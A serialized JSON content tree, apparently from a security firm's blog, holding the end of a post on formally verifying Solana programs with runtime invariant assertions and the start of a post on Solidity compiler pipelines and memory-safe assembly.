invocation\n",{"type":20,"tag":315,"props":26777,"children":26778},{"class":317,"line":2177},[26779],{"type":20,"tag":315,"props":26780,"children":26781},{"emptyLinePlaceholder":15},[26782],{"type":26,"value":427},{"type":20,"tag":315,"props":26784,"children":26785},{"class":317,"line":2185},[26786,26790,26795,26799,26803,26807],{"type":20,"tag":315,"props":26787,"children":26788},{"style":541},[26789],{"type":26,"value":1380},{"type":20,"tag":315,"props":26791,"children":26792},{"style":635},[26793],{"type":26,"value":26794}," invoke_res",{"type":20,"tag":315,"props":26796,"children":26797},{"style":334},[26798],{"type":26,"value":1395},{"type":20,"tag":315,"props":26800,"children":26801},{"style":334},[26802],{"type":26,"value":23715},{"type":20,"tag":315,"props":26804,"children":26805},{"style":328},[26806],{"type":26,"value":15629},{"type":20,"tag":315,"props":26808,"children":26809},{"style":1071},[26810],{"type":26,"value":26811},"// fetch result of invocation\n",{"type":20,"tag":315,"props":26813,"children":26814},{"class":317,"line":2217},[26815,26819,26823,26827,26832],{"type":20,"tag":315,"props":26816,"children":26817},{"style":525},[26818],{"type":26,"value":10680},{"type":20,"tag":315,"props":26820,"children":26821},{"style":635},[26822],{"type":26,"value":26794},{"type":20,"tag":315,"props":26824,"children":26825},{"style":334},[26826],{"type":26,"value":1664},{"type":20,"tag":315,"props":26828,"children":26829},{"style":765},[26830],{"type":26,"value":26831}," 5",{"type":20,"tag":315,"props":26833,"children":26834},{"style":328},[26835],{"type":26,"value":1092},{"type":20,"tag":315,"props":26837,"children":26838},{"class":317,"line":2225},[26839,26843,26847,26852,26856,26861,26866],{"type":20,"tag":315,"props":26840,"children":26841},{"style":635},[26842],{"type":26,"value":24602},{"type":20,"tag":315,"props":26844,"children":26845},{"style":334},[26846],{"type":26,"value":61},{"type":20,"tag":315,"props":26848,"children":26849},{"style":328},[26850],{"type":26,"value":26851},"my_account",{"type":20,"tag":315,"props":26853,"children":26854},{"style":334},[26855],{"type":26,"value":61},{"type":20,"tag":315,"props":26857,"children":26858},{"style":345},[26859],{"type":26,"value":26860},"put_into_bad_state",{"type":20,"tag":315,"props":26862,"children":26863},{"style":328},[26864],{"type":26,"value":26865},"(); ",{"type":20,"tag":315,"props":26867,"children":26868},{"style":1071},[26869],{"type":26,"value":26870},"// corrupt our account\n",{"type":20,"tag":315,"props":26872,"children":26873},{"class":317,"line":2285},[26874],{"type":20,"tag":315,"props":26875,"children":26876},{"style":328},[26877],{"type":26,"value":1736},{"type":20,"tag":315,"props":26879,"children":26880},{"class":317,"line":7444},[26881,26885],{"type":20,"tag":315,"props":26882,"children":26883},{"style":322},[26884],{"type":26,"value":12734},{"type":20,"tag":315,"props":26886,"children":26887},{"style":328},[26888],{"type":26,"value":12739},{"type":20,"tag":315,"props":26890,"children":26891},{"class":317,"line":7462},[26892],{"type":20,"tag":315,"props":26893,"children":26894},{"style":328},[26895],{"type":26,"value":577},{"type":20,"tag":29,"props":26897,"children":26898},{},[26899,26901,26906],{"type":26,"value":26900},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":20,"tag":119,"props":26902,"children":26904},{"className":26903},[],[26905],{"type":26,"value":26851},{"type":26,"value":26907},") will be maintained as long as the instruction succeeds.",{"type":20,"tag":29,"props":26909,"children":26910},{},[26911],{"type":26,"value":26912},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":20,"tag":29,"props":26914,"children":26915},{},[26916,26918,26923],{"type":26,"value":26917},"However, we can ",{"type":20,"tag":55,"props":26919,"children":26920},{},[26921],{"type":26,"value":26922},"augment",{"type":26,"value":26924}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":20,"tag":29,"props":26926,"children":26927},{},[26928],{"type":26,"value":26929},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":20,"tag":305,"props":26931,"children":26933},{"code":26932,"language":1359,"meta":7,"className":1360,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n\n // Enforce invariants at runtime\n assert(ctx.my_account.invariant());\n\n Ok(())\n}\n",[26934],{"type":20,"tag":119,"props":26935,"children":26936},{"__ignoreMap":7},[26937,26945,26996,27019,27026,27053,27076,27107,27114,27121,27129,27164,27171,27182],{"type":20,"tag":315,"props":26938,"children":26939},{"class":317,"line":318},[26940],{"type":20,"tag":315,"props":26941,"children":26942},{"style":334},[26943],{"type":26,"value":26944},"...\n",{"type":20,"tag":315,"props":26946,"children":26947},{"class":317,"line":356},[26948,26952,26956,26960,26964,26968,26972,26976,26980,26984,26988,26992],{"type":20,"tag":315,"props":26949,"children":26950},{"style":541},[26951],{"type":26,"value":18670},{"type":20,"tag":315,"props":26953,"children":26954},{"style":345},[26955],{"type":26,"value":26708},{"type":20,"tag":315,"props":26957,"children":26958},{"style":328},[26959],{"type":26,"value":1049},{"type":20,"tag":315,"props":26961,"children":26962},{"style":635},[26963],{"type":26,"value":18684},{"type":20,"tag":315,"props":26965,"children":26966},{"style":334},[26967],{"type":26,"value":2884},{"type":20,"tag":315,"props":26969,"children":26970},{"style":322},[26971],{"type":26,"value":18693},{"type":20,"tag":315,"props":26973,"children":26974},{"style":328},[26975],{"type":26,"value":4199},{"type":20,"tag":315,"props":26977,"children":26978},{"style":322},[26979],{"type":26,"value":26733},{"type":20,"tag":315,"props":26981,"children":26982},{"style":328},[26983],{"type":26,"value":18850},{"type":20,"tag":315,"props":26985,"children":26986},{"style":334},[26987],{"type":26,"value":12158},{"type":20,"tag":315,"props":26989,"children":26990},{"style":322},[26991],{"type":26,"value":12163},{"type":20,"tag":315,"props":26993,"children":26994},{"style":328},[26995],{"type":26,"value":18735},{"type":20,"tag":315,"props":26997,"children":26998},{"class":317,"line":365},[26999,27003,27007,27011,27015],{"type":20,"tag":315,"props":27000,"children":27001},{"style":345},[27002],{"type":26,"value":26757},{"type":20,"tag":315,"props":27004,"children":27005},{"style":328},[27006],{"type":26,"value":1049},{"type":20,"tag":315,"props":27008,"children":27009},{"style":334},[27010],{"type":26,"value":7990},{"type":20,"tag":315,"props":27012,"children":27013},{"style":328},[27014],{"type":26,"value":26770},{"type":20,"tag":315,"props":27016,"children":27017},{"style":1071},[27018],{"type":26,"value":26775},{"type":20,"tag":315,"props":27020,"children":27021},{"class":317,"line":374},[27022],{"type":20,"tag":315,"props":27023,"children":27024},{"emptyLinePlaceholder":15},[27025],{"type":26,"value":427},{"type":20,"tag":315,"props":27027,"children":27028},{"class":317,"line":383},[27029,27033,27037,27041,27045,27049],{"type":20,"tag":315,"props":27030,"children":27031},{"style":541},[27032],{"type":26,"value":1380},{"type":20,"tag":315,"props":27034,"children":27035},{"style":635},[27036],{"type":26,"value":26794},{"type":20,"tag":315,"props":27038,"children":27039},{"style":334},[27040],{"type":26,"value":1395},{"type":20,"tag":315,"props":27042,"children":27043},{"style":334},[27044],{"type":26,"value":23715},{"type":20,"tag":315,"props":27046,"children":27047},{"style":328},[27048],{"type":26,"value":15629},{"type":20,"tag":315,"props":27050,"children":27051},{"style":1071},[27052],{"type":26,"value":26811},{"type":20,"tag":315,"props":27054,"children":27055},{"class":317,"line":407},[27056,27060,27064,27068,27072],{"type":20,"tag":315,"props":27057,"children":27058},{"style":525},[27059],{"type":26,"value":10680},{"type":20,"tag":315,"props":27061,"children":27062},{"style":635},[27063],{"type":26,"value":26794},{"type":20,"tag":315,"props":27065,"children":27066},{"style":334},[27067],{"type":26,"value":1664},{"type":20,"tag":315,"props":27069,"children":27070},{"style":765},[27071],{"type":26,"value":26831},{"type":20,"tag":315,"props":27073,"children":27074},{"style":328},[27075],{"type":26,"value":1092},{"type":20,"tag":315,"props":27077,"children":27078},{"class":317,"line":421},[27079,27083,27087,27091,27095,27099,27103],{"type":20,"tag":315,"props":27080,"children":27081},{"style":635},[27082],{"type":26,"value":24602},{"type":20,"tag":315,"props":27084,"children":27085},{"style":334},[27086],{"type":26,"value":61},{"type":20,"tag":315,"props":27088,"children":27089},{"style":328},[27090],{"type":26,"value":26851},{"type":20,"tag":315,"props":27092,"children":27093},{"style":334},[27094],{"type":26,"value":61},{"type":20,"tag":315,"props":27096,"children":27097},{"style":345},[27098],{"type":26,"value":26860},{"type":20,"tag":315,"props":27100,"children":27101},{"style":328},[27102],{"type":26,"value":26865},{"type":20,"tag":315,"props":27104,"children":27105},{"style":1071},[27106],{"type":26,"value":26870},{"type":20,"tag":315,"props":27108,"children":27109},{"class":317,"line":430},[27110],{"type":20,"tag":315,"props":27111,"children":27112},{"style":328},[27113],{"type":26,"value":1736},{"type":20,"tag":315,"props":27115,"children":27116},{"class":317,"line":453},[27117],{"type":20,"tag":315,"props":27118,"children":27119},{"emptyLinePlaceholder":15},[27120],{"type":26,"value":427},{"type":20,"tag":315,"props":27122,"children":27123},{"class":317,"line":486},[27124],{"type":20,"tag":315,"props":27125,"children":27126},{"style":1071},[27127],{"type":26,"value":27128}," // Enforce invariants at runtime\n",{"type":20,"tag":315,"props":27130,"children":27131},{"class":317,"line":499},[27132,27136,27140,27144,27148,27152,27156,27160],{"type":20,"tag":315,"props":27133,"children":27134},{"style":345},[27135],{"type":26,"value":17644},{"type":20,"tag":315,"props":27137,"children":27138},{"style":328},[27139],{"type":26,"value":1049},{"type":20,"tag":315,"props":27141,"children":27142},{"style":635},[27143],{"type":26,"value":18684},{"type":20,"tag":315,"props":27145,"children":27146},{"style":334},[27147],{"type":26,"value":61},{"type":20,"tag":315,"props":27149,"children":27150},{"style":328},[27151],{"type":26,"value":26851},{"type":20,"tag":315,"props":27153,"children":27154},{"style":334},[27155],{"type":26,"value":61},{"type":20,"tag":315,"props":27157,"children":27158},{"style":345},[27159],{"type":26,"value":20182},{"type":20,"tag":315,"props":27161,"children":27162},{"style":328},[27163],{"type":26,"value":13826},{"type":20,"tag":315,"props":27165,"children":27166},{"class":317,"line":513},[27167],{"type":20,"tag":315,"props":27168,"children":27169},{"emptyLinePlaceholder":15},[27170],{"type":26,"value":427},{"type":20,"tag":315,"props":27172,"children":27173},{"class":317,"line":521},[27174,27178],{"type":20,"tag":315,"props":27175,"children":27176},{"style":322},[27177],{"type":26,"value":12734},{"type":20,"tag":315,"props":27179,"children":27180},{"style":328},[27181],{"type":26,"value":12739},{"type":20,"tag":315,"props":27183,"children":27184},{"class":317,"line":552},[27185],{"type":20,"tag":315,"props":27186,"children":27187},{"style":328},[27188],{"type":26,"value":577},{"type":20,"tag":29,"props":27190,"children":27191},{},[27192,27194,27199,27201,27206,27208,27213],{"type":26,"value":27193},"Here, we explicitly ",{"type":20,"tag":119,"props":27195,"children":27197},{"className":27196},[],[27198],{"type":26,"value":18387},{"type":26,"value":27200}," that our invariants hold at ",{"type":20,"tag":55,"props":27202,"children":27203},{},[27204],{"type":26,"value":27205},"runtime",{"type":26,"value":27207}," which allows us to be assured that ",{"type":20,"tag":119,"props":27209,"children":27211},{"className":27210},[],[27212],{"type":26,"value":26851},{"type":26,"value":27214}," will not enter a bad state as a result of some unverifiable behavior.",{"type":20,"tag":29,"props":27216,"children":27217},{},[27218],{"type":26,"value":27219},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":20,"tag":21,"props":27221,"children":27223},{"id":27222},"challenges-of-formal-verification-on-solana",[27224],{"type":26,"value":27225},"Challenges of formal verification on Solana",{"type":20,"tag":219,"props":27227,"children":27229},{"id":27228},"expensive-computation",[27230],{"type":26,"value":27231},"Expensive computation",{"type":20,"tag":29,"props":27233,"children":27234},{},[27235,27237,27242],{"type":26,"value":27236},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":20,"tag":55,"props":27238,"children":27239},{},[27240],{"type":26,"value":27241},"path explosion",{"type":26,"value":27243},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":20,"tag":29,"props":27245,"children":27246},{},[27247,27249,27254],{"type":26,"value":27248},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":20,"tag":55,"props":27250,"children":27251},{},[27252],{"type":26,"value":27253},"formal verification friendly",{"type":26,"value":27255},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":20,"tag":29,"props":27257,"children":27258},{},[27259,27261,27266,27268,27273],{"type":26,"value":27260},"For example, when verifying things like the uniqueness of a ",{"type":20,"tag":119,"props":27262,"children":27264},{"className":27263},[],[27265],{"type":26,"value":19802},{"type":26,"value":27267}," in a ",{"type":20,"tag":119,"props":27269,"children":27271},{"className":27270},[],[27272],{"type":26,"value":15613},{"type":26,"value":27274},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":20,"tag":29,"props":27276,"children":27277},{},[27278,27280,27285,27287,27292,27294,27299,27301,27306,27308,27313,27315,27320],{"type":26,"value":27279},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":20,"tag":119,"props":27281,"children":27283},{"className":27282},[],[27284],{"type":26,"value":15613},{"type":26,"value":27286}," or a 32-byte ",{"type":20,"tag":119,"props":27288,"children":27290},{"className":27289},[],[27291],{"type":26,"value":19802},{"type":26,"value":27293},". Instead, our tool can substitute in ",{"type":20,"tag":55,"props":27295,"children":27296},{},[27297],{"type":26,"value":27298},"cheaper",{"type":26,"value":27300}," types and functions, such as a 4-byte ",{"type":20,"tag":119,"props":27302,"children":27304},{"className":27303},[],[27305],{"type":26,"value":19802},{"type":26,"value":27307}," struct and a fixed-size, array-backed ",{"type":20,"tag":119,"props":27309,"children":27311},{"className":27310},[],[27312],{"type":26,"value":15613},{"type":26,"value":27314}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":20,"tag":55,"props":27316,"children":27317},{},[27318],{"type":26,"value":27319},"much",{"type":26,"value":27321}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":20,"tag":29,"props":27323,"children":27324},{},[27325],{"type":26,"value":27326},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":20,"tag":219,"props":27328,"children":27330},{"id":27329},"runtime-environment",[27331],{"type":26,"value":27332},"Runtime Environment",{"type":20,"tag":29,"props":27334,"children":27335},{},[27336],{"type":26,"value":27337},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":20,"tag":29,"props":27339,"children":27340},{},[27341],{"type":26,"value":27342},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":20,"tag":29,"props":27344,"children":27345},{},[27346],{"type":26,"value":27347},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":20,"tag":21,"props":27349,"children":27350},{"id":1211},[27351],{"type":26,"value":1214},{"type":20,"tag":29,"props":27353,"children":27354},{},[27355],{"type":26,"value":27356},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":20,"tag":29,"props":27358,"children":27359},{},[27360],{"type":26,"value":27361},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":20,"tag":17197,"props":27363,"children":27364},{},[],{"type":20,"tag":29,"props":27366,"children":27367},{},[27368],{"type":20,"tag":55,"props":27369,"children":27370},{},[27371,27373,27378,27379,27383],{"type":26,"value":27372},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":20,"tag":35,"props":27374,"children":27376},{"href":17280,"rel":27375},[39],[27377],{"type":26,"value":17284},{"type":26,"value":17286},{"type":20,"tag":35,"props":27380,"children":27381},{"href":17289},[27382],{"type":26,"value":17292},{"type":26,"value":61},{"type":20,"tag":1226,"props":27385,"children":27386},{},[27387],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":27389},[27390,27396,27400,27405,27411,27415],{"id":17354,"depth":356,"text":17357,"children":27391},[27392,27393,27394,27395],{"id":17360,"depth":365,"text":17363},{"id":17428,"depth":365,"text":17431},{"id":18308,"depth":365,"text":18311},{"id":18347,"depth":365,"text":18350},{"id":18400,"depth":356,"text":27397,"children":27398},"Specification: How can we describe what we want our program to do?",[27399],{"id":18514,"depth":365,"text":18517},{"id":19874,"depth":356,"text":19877,"children":27401},[27402,27403,27404],{"id":20551,"depth":365,"text":20554},{"id":20836,"depth":365,"text":20839},{"id":20980,"depth":365,"text":20983},{"id":21121,"depth":356,"text":21124,"children":27406},[27407,27408,27409,27410],{"id":21192,"depth":365,"text":21195},{"id":23054,"depth":365,"text":23057},{"id":23856,"depth":365,"text":21184},{"id":26382,"depth":365,"text":21189},{"id":27222,"depth":356,"text":27225,"children":27412},[27413,27414],{"id":27228,"depth":365,"text":27231},{"id":27329,"depth":365,"text":27332},{"id":1211,"depth":356,"text":1214},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":27420,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":27421,"description":27422,"author":11,"image":27423,"date":27425,"isFeatured":15,"onBlogPage":15,"tags":27426,"body":27428,"_type":1242,"_id":28845,"_source":1244,"_file":28846,"_stem":28847,"_extension":1247},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":27424,"height":12024,"width":12024},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[309,27427],"compiler",{"type":17,"children":27429,"toc":28836},[27430,27434,27470,27482,27488,27510,27523,27671,27692,27697,27718,27723,27731,27736,27741,27746,27752,27771,27776,27797,27860,27873,27903,27923,27950,27955,27968,27973,27978,27991,28022,28045,28198,28216,28267,28286,28311,28316,28322,28349,28369,28397,28402,28424,28443,28451,28462,28467,28483,28740,28748,28753,28757,28762,28767,28832],{"type":20,"tag":21,"props":27431,"children":27432},{"id":23},[27433],{"type":26,"value":27},{"type":20,"tag":29,"props":27435,"children":27436},{},[27437,27439,27445,27446,27450,27452,27459,27461,27468],{"type":26,"value":27438},"What does ",{"type":20,"tag":119,"props":27440,"children":27442},{"className":27441},[],[27443],{"type":26,"value":27444},"memory-safe",{"type":26,"value":4852},{"type":20,"tag":55,"props":27447,"children":27448},{},[27449],{"type":26,"value":7687},{"type":26,"value":27451}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":20,"tag":35,"props":27453,"children":27456},{"href":27454,"rel":27455},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[39],[27457],{"type":26,"value":27458},"presents some requirements",{"type":26,"value":27460},", but is production code that ",{"type":20,"tag":35,"props":27462,"children":27465},{"href":27463,"rel":27464},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[39],[27466],{"type":26,"value":27467},"violates these requirements",{"type":26,"value":27469}," necessarily unsafe?",{"type":20,"tag":29,"props":27471,"children":27472},{},[27473,27475,27480],{"type":26,"value":27474},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":20,"tag":55,"props":27476,"children":27477},{},[27478],{"type":26,"value":27479},"memory-safety",{"type":26,"value":27481}," actually means.",{"type":20,"tag":21,"props":27483,"children":27485},{"id":27484},"compiler-pipeline",[27486],{"type":26,"value":27487},"Compiler Pipeline",{"type":20,"tag":29,"props":27489,"children":27490},{},[27491,27493,27500,27502,27509],{"type":26,"value":27492},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":20,"tag":35,"props":27494,"children":27497},{"href":27495,"rel":27496},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[39],[27498],{"type":26,"value":27499},"released in v0.8.13",{"type":26,"value":27501},". Compilation happens ",{"type":20,"tag":35,"props":27503,"children":27506},{"href":27504,"rel":27505},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[39],[27507],{"type":26,"value":27508},"in two main steps",{"type":26,"value":2884},{"type":20,"tag":68,"props":27511,"children":27512},{},[27513,27518],{"type":20,"tag":72,"props":27514,"children":27515},{},[27516],{"type":26,"value":27517},"Solidity to YUL IR",{"type":20,"tag":72,"props":27519,"children":27520},{},[27521],{"type":26,"value":27522},"YUL IR to EVM opcodes",{"type":20,"tag":305,"props":27524,"children":27528},{"className":27525,"code":27526,"language":27527,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark"," if (m_viaIR || m_generateIR || m_generateEwasm)\n generateIR(*contract);\n if (m_generateEvmBytecode)\n {\n if (m_viaIR)\n generateEVMFromIR(*contract);\n else\n compileContract(*contract, otherCompilers);\n }\n","cpp",[27529],{"type":20,"tag":119,"props":27530,"children":27531},{"__ignoreMap":7},[27532,27562,27583,27595,27603,27615,27635,27643,27664],{"type":20,"tag":315,"props":27533,"children":27534},{"class":317,"line":318},[27535,27539,27544,27548,27553,27557],{"type":20,"tag":315,"props":27536,"children":27537},{"style":525},[27538],{"type":26,"value":10680},{"type":20,"tag":315,"props":27540,"children":27541},{"style":328},[27542],{"type":26,"value":27543}," (m_viaIR ",{"type":20,"tag":315,"props":27545,"children":27546},{"style":334},[27547],{"type":26,"value":20823},{"type":20,"tag":315,"props":27549,"children":27550},{"style":328},[27551],{"type":26,"value":27552}," m_generateIR ",{"type":20,"tag":315,"props":27554,"children":27555},{"style":334},[27556],{"type":26,"value":20823},{"type":20,"tag":315,"props":27558,"children":27559},{"style":328},[27560],{"type":26,"value":27561}," m_generateEwasm)\n",{"type":20,"tag":315,"props":27563,"children":27564},{"class":317,"line":356},[27565,27570,27574,27578],{"type":20,"tag":315,"props":27566,"children":27567},{"style":345},[27568],{"type":26,"value":27569}," generateIR",{"type":20,"tag":315,"props":27571,"children":27572},{"style":328},[27573],{"type":26,"value":1049},{"type":20,"tag":315,"props":27575,"children":27576},{"style":334},[27577],{"type":26,"value":901},{"type":20,"tag":315,"props":27579,"children":27580},{"style":328},[27581],{"type":26,"value":27582},"contract);\n",{"type":20,"tag":315,"props":27584,"children":27585},{"class":317,"line":365},[27586,27590],{"type":20,"tag":315,"props":27587,"children":27588},{"style":525},[27589],{"type":26,"value":10680},{"type":20,"tag":315,"props":27591,"children":27592},{"style":328},[27593],{"type":26,"value":27594}," (m_generateEvmBytecode)\n",{"type":20,"tag":315,"props":27596,"children":27597},{"class":317,"line":374},[27598],{"type":20,"tag":315,"props":27599,"children":27600},{"style":328},[27601],{"type":26,"value":27602}," {\n",{"type":20,"tag":315,"props":27604,"children":27605},{"class":317,"line":383},[27606,27610],{"type":20,"tag":315,"props":27607,"children":27608},{"style":525},[27609],{"type":26,"value":1654},{"type":20,"tag":315,"props":27611,"children":27612},{"style":328},[27613],{"type":26,"value":27614}," (m_viaIR)\n",{"type":20,"tag":315,"props":27616,"children":27617},{"class":317,"line":407},[27618,27623,27627,27631],{"type":20,"tag":315,"props":27619,"children":27620},{"style":345},[27621],{"type":26,"value":27622}," generateEVMFromIR",{"type":20,"tag":315,"props":27624,"children":27625},{"style":328},[27626],{"type":26,"value":1049},{"type":20,"tag":315,"props":27628,"children":27629},{"style":334},[27630],{"type":26,"value":901},{"type":20,"tag":315,"props":27632,"children":27633},{"style":328},[27634],{"type":26,"value":27582},{"type":20,"tag":315,"props":27636,"children":27637},{"class":317,"line":421},[27638],{"type":20,"tag":315,"props":27639,"children":27640},{"style":525},[27641],{"type":26,"value":27642}," else\n",{"type":20,"tag":315,"props":27644,"children":27645},{"class":317,"line":430},[27646,27651,27655,27659],{"type":20,"tag":315,"props":27647,"children":27648},{"style":345},[27649],{"type":26,"value":27650}," compileContract",{"type":20,"tag":315,"props":27652,"children":27653},{"style":328},[27654],{"type":26,"value":1049},{"type":20,"tag":315,"props":27656,"children":27657},{"style":334},[27658],{"type":26,"value":901},{"type":20,"tag":315,"props":27660,"children":27661},{"style":328},[27662],{"type":26,"value":27663},"contract, otherCompilers);\n",{"type":20,"tag":315,"props":27665,"children":27666},{"class":317,"line":453},[27667],{"type":20,"tag":315,"props":27668,"children":27669},{"style":328},[27670],{"type":26,"value":1736},{"type":20,"tag":29,"props":27672,"children":27673},{},[27674,27676,27683,27684,27691],{"type":26,"value":27675},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":20,"tag":35,"props":27677,"children":27680},{"href":27678,"rel":27679},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[39],[27681],{"type":26,"value":27682},"YulStack::optimize",{"type":26,"value":9392},{"type":20,"tag":35,"props":27685,"children":27688},{"href":27686,"rel":27687},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[39],[27689],{"type":26,"value":27690},"Assembly::optimize",{"type":26,"value":61},{"type":20,"tag":29,"props":27693,"children":27694},{},[27695],{"type":26,"value":27696},"In total, there are four steps.",{"type":20,"tag":68,"props":27698,"children":27699},{},[27700,27704,27709,27713],{"type":20,"tag":72,"props":27701,"children":27702},{},[27703],{"type":26,"value":27517},{"type":20,"tag":72,"props":27705,"children":27706},{},[27707],{"type":26,"value":27708},"Optimization of YUL IR",{"type":20,"tag":72,"props":27710,"children":27711},{},[27712],{"type":26,"value":27522},{"type":20,"tag":72,"props":27714,"children":27715},{},[27716],{"type":26,"value":27717},"Optimization of EVM opcodes",{"type":20,"tag":29,"props":27719,"children":27720},{},[27721],{"type":26,"value":27722},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":20,"tag":1312,"props":27724,"children":27725},{},[27726],{"type":20,"tag":29,"props":27727,"children":27728},{},[27729],{"type":26,"value":27730},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":20,"tag":29,"props":27732,"children":27733},{},[27734],{"type":26,"value":27735},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":20,"tag":29,"props":27737,"children":27738},{},[27739],{"type":26,"value":27740},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":20,"tag":29,"props":27742,"children":27743},{},[27744],{"type":26,"value":27745},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":20,"tag":21,"props":27747,"children":27749},{"id":27748},"guarantees",[27750],{"type":26,"value":27751},"Guarantees",{"type":20,"tag":29,"props":27753,"children":27754},{},[27755,27756,27763,27765,27770],{"type":26,"value":15015},{"type":20,"tag":35,"props":27757,"children":27760},{"href":27758,"rel":27759},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[39],[27761],{"type":26,"value":27762},"Solidity memory layout",{"type":26,"value":27764}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":20,"tag":55,"props":27766,"children":27767},{},[27768],{"type":26,"value":27769},"no information about this layout",{"type":26,"value":61},{"type":20,"tag":29,"props":27772,"children":27773},{},[27774],{"type":26,"value":27775},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":20,"tag":29,"props":27777,"children":27778},{},[27779,27781,27787,27789,27795],{"type":26,"value":27780},"Introducing ",{"type":20,"tag":119,"props":27782,"children":27784},{"className":27783},[],[27785],{"type":26,"value":27786},"memoryguard",{"type":26,"value":27788},". If you've ever looked at the output of ",{"type":20,"tag":119,"props":27790,"children":27792},{"className":27791},[],[27793],{"type":26,"value":27794},"solc --ir",{"type":26,"value":27796},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":20,"tag":305,"props":27798,"children":27800},{"className":307,"code":27799,"language":309,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n store(64, memoryguard(0x80))\n",[27801],{"type":20,"tag":119,"props":27802,"children":27803},{"__ignoreMap":7},[27804,27822],{"type":20,"tag":315,"props":27805,"children":27806},{"class":317,"line":318},[27807,27812,27817],{"type":20,"tag":315,"props":27808,"children":27809},{"style":1071},[27810],{"type":26,"value":27811}," /// @src 0:26:371 \"contract ",{"type":20,"tag":315,"props":27813,"children":27814},{"style":541},[27815],{"type":26,"value":27816},"XXX",{"type":20,"tag":315,"props":27818,"children":27819},{"style":1071},[27820],{"type":26,"value":27821}," {...\"\n",{"type":20,"tag":315,"props":27823,"children":27824},{"class":317,"line":356},[27825,27830,27834,27839,27843,27847,27851,27856],{"type":20,"tag":315,"props":27826,"children":27827},{"style":345},[27828],{"type":26,"value":27829}," 